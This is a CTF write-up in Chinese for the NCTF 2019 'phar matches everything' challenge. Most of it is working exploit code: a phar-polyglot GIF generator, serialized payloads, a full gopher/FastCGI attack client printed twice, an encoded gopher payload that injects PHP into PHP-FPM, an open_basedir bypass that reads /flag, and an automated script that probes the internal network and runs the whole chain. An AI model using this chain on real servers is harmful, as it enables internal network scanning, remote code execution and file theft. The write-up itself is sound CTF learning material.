利用点
- unserialize反序列化
- phar反序列化
- 添加图片头和更改MIME、后缀绕过文件上传检测
- ssrf gopher协议打php-fpm
- 绕过open_basedir
源码
2019NCTF/phar matches everything(github.com)
主要有三个部分:
- index.php:调用上传和查询文件信息的方法
- upload.php:上传文件
- catchmime.php:反序列化验证图片信息
过程分析
unserialize反序列化
来到catchmime.php,很明显是个curl ssrf,要先进入Main类的析构函数 代码审计一下:一个序列化Easytest类对象通过GET参数careful传入catchmime.php,要求其属性test为字符1,然后就能进入ssrf,那就先构造Easytest的反序列化
<?php
class Easytest{
protected $test='1';
}
echo '?careful='.urlencode(serialize(new Easytest()));
?>
careful是访问catchmime.php的GET参数
phar反序列化 + 添加图片头和更改MIME、后缀绕过文件上传检测
现在进入到了Main的析构函数,那如何触发Main类方法cur来ssrf呢? 首先不能缺的就是POST参数submit,留空就行
[POST]submit=
之后就是要验证上传文件,限定是图片,要能获取到图片元数据,先去upload.php看看上传的方法 主要就是合法文件头、MIME和后缀,选一个简单的构造——GIF文件
要如何触发Main类的析构函数是个问题:上文提到,getimagesize是获取传入文件的元数据,如果传入的文件是phar文件,使用phar://协议读取时就会自动反序列化phar的metadata,那传入的phar元数据是序列化的Main类对象,就能进入析构函数了
按要求在本地构造phar文件:
<?php
@unlink('payload.gif');
class Main{
public $url;
}
$main = new Main();
$main->url = $_GET['payload'];
$phar = new Phar('payload.phar');
$phar->setStub('GIF89a'.'__HALT_COMPILER();');
$phar->setMetadata($main);
$phar->addFromString('text.txt','1');
rename('payload.phar','payload.gif');
?>
ssrf gopher协议打php-fpm
常规,首先用file协议读hosts和arp,分别构造phar文件,在本地主机起php,hosts文件里没东西,读arp
[GET]http:
拿到伪装好的gif文件就向靶机的upload.php上传,记得更改MIME为image/gif,上传后的文件名是md5加密,要记一下 上传好了就去catchmime.php构造ssrf读arp
catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
[POST]name=phar:
然后就读取到了arp文件,但是没找到FPM的IP 之后将payload设置成http://10.0.248.x 去找FPM服务器,用http访问会有提示,FPM服务器都在10.0.x.6 之后就是结合gopher协议打FPM,使用脚本生成,这个脚本修改过,urllib.quote在py3.x更换为urllib.parse.quote,需要import requests
脚本来源见注释
// gopher.py
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
import requests
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def gopher(self, nameValuePairs={}, post=''):
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
return request
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
parser.add_argument('-e', '--ext', help='ext absolute path', default='')
parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(args.code),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
if args.ext and args.include_file:
params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
params['PHP_VALUE']='auto_prepend_file = '+args.include_file
if not args.url_format and not args.base64_format :
response = client.request(params, args.code)
print(force_text(response))
else:
response = client.gopher(params, args.code)
if args.url_format:
print(urllib.parse.quote(response))
if args.base64_format:
print(base64.b64encode(response))
指定FPM的内网IP、php文件的路径、端口默认9000、运行的php代码、并且要求urlencode
python gopher.py 10.0.248.6 /var/www/html/index.php -p 9000 -c "<?php phpinfo();?>" -u
生成的payload添加gopher://10.0.248.6:9000/_ 构成完成gopher协议
gopher://10.0.248.6:9000/_%01%01Co%00%08%00%00%00%01%00%00%00%00%00%00%01%04Co%0%DB%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH18%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A/input%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%01%04Co%00%00%00%00%01%05Co%00%12%00%00%3CFphp%20phpinfo%28%29%3B%3F%3E%01%05Co%00%00%00%00
将这个gopher协议生成phar包,之后就读取到了phpinfo()
绕过open_basedir
发现open_basedir限定了范围,接着就是绕过读取根目录结构,将phpinfo()改一下就行,用filesystemiterator,最后发现flag在/flag,用ini_set和mkdir组合读取
改gopher的参数c即可
<?php mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));?>
自动化脚本获取flag
发现上面的步骤都是重复的,而且环境index加载还会卡,就打算写脚本执行,先上结构。
结构
你需要做的是先起一个web服务器,能够运行php和python脚本,以下目录在http://127.0.0.1:80
- gopher.py:生成gopher的payload
- index.php:生成phar文件
- script.py:脚本主程序
gopher.py
修改过urilib.quote为urllib.parse.quote,并添加导入requests,其余未变
// gopher.py
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
import requests
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def gopher(self, nameValuePairs={}, post=''):
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
return request
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
parser.add_argument('-e', '--ext', help='ext absolute path', default='')
parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(args.code),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
if args.ext and args.include_file:
params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
params['PHP_VALUE']='auto_prepend_file = '+args.include_file
if not args.url_format and not args.base64_format :
response = client.request(params, args.code)
print(force_text(response))
else:
response = client.gopher(params, args.code)
if args.url_format:
print(urllib.parse.quote(response))
if args.base64_format:
print(base64.b64encode(response))
index.php
index用于根据传入的参数生成phar文件
<?php
@unlink('payload.gif');
class Main{
public $url;
}
$main = new Main();
$main->url = $_GET['payload'];
$phar = new Phar('payload.phar');
$phar->setStub('GIF89a'.'__HALT_COMPILER();');
$phar->setMetadata($main);
$phar->addFromString('text.txt','1');
rename('payload.phar','payload.gif');
?>
script.py
编写环境python3.6
from subprocess import getoutput
from time import sleep
import requests
import re
INDEX_URL = 'http://e615e684-9dee-40a7-9ced-f23b14625851.node4.buuoj.cn:81'
GET_PARAM = '?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D'
def upload() -> str:
"""
使用requests.post上传文件
:return:返回在服务器存储的文件名
"""
file = {
'fileToUpload': ('payload.gif', open('payload.gif', 'rb'), 'image/gif', {})
}
r = requests.post(INDEX_URL + '/upload.php', files=file)
ptr = re.compile(r'.{10}\.gif')
file_name = ptr.findall(r.text)[0]
return file_name
def read(filename) -> str:
"""
基于ssrf伪协议读取文件,伪协议存放在伪造gif文件的metadata
:param filename: 存储在服务器上的伪造gif文件名
:return:
"""
data = {
'name': 'phar://uploads/' + filename,
'submit': ''
}
r = requests.post(INDEX_URL + '/catchmime.php' + GET_PARAM, data=data)
return r.text
def spawn_phar(payload):
"""
给定ssrf伪协议伪造gif
:param payload: ssrf伪协议
:return: None
"""
params = {
'payload': payload
}
requests.get('http://127.0.0.1', params=params)
def get_ip_segment() -> str:
"""
获取靶机内网IP网络位
:return: 返回靶机内网IP网络位,格式10.0.x.,省略主机位
"""
spawn_phar('file:///proc/net/arp')
arp_name = upload()
arp_info = read(arp_name)
ptr = re.compile(r'10.0.\d*.\d*')
ip = ptr.findall(arp_info)[0]
return ip[:-1]
def get_fpm_ip(segment) -> str:
"""
遍历获取FPM内网IP
:param segment: 内网IP网络位
:return: 返回FPM内网IP
"""
for i in range(0, 256):
phar = 'http://' + segment + str(i)
spawn_phar(phar)
upload_file_name = upload()
if 'FPM' in read(upload_file_name):
return segment + str(i)
def spawn_gopher(ip, fpm_port, code) -> str:
"""
生成ssrf gopher的payload
:param ip: fpm的内网ip
:param fpm_port: 自定义fpm的端口,一般设置是9000
:param code: 需要运行的完整php代码
:return: 返回gopher的payload
"""
cmd = f'python gopher.py {ip} /var/www/html/index.php -p {port} -c "{code}" -u'
gopher_payload = getoutput(cmd)
return f'gopher://{ip}:{fpm_port}/_' + gopher_payload
def get_flag(FPM_ip, port):
"""
一键生成gopher读取flag并显示
:param FPM_ip: FPM的内网ip
:param port: 指定的FPM的端口
:return: None
"""
gopher = spawn_gopher(FPM_ip, port, "<?php mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));?>")
spawn_phar(gopher)
upload_gopher = upload()
text = read(upload_gopher)
ptn = re.compile('flag{.*}')
flag = ptn.findall(text)[0]
print(upload_gopher)
print(f'[+]find flag: {flag}')
if __name__ == '__main__':
print('[+]start searching...')
ip_segment = get_ip_segment()
fpm_ip = get_fpm_ip(ip_segment)
print(f'[+]find FPM: {fpm_ip}')
port = input('please input attacking port:')
get_flag(fpm_ip, port)
运行截图
完
欢迎在评论区留言
|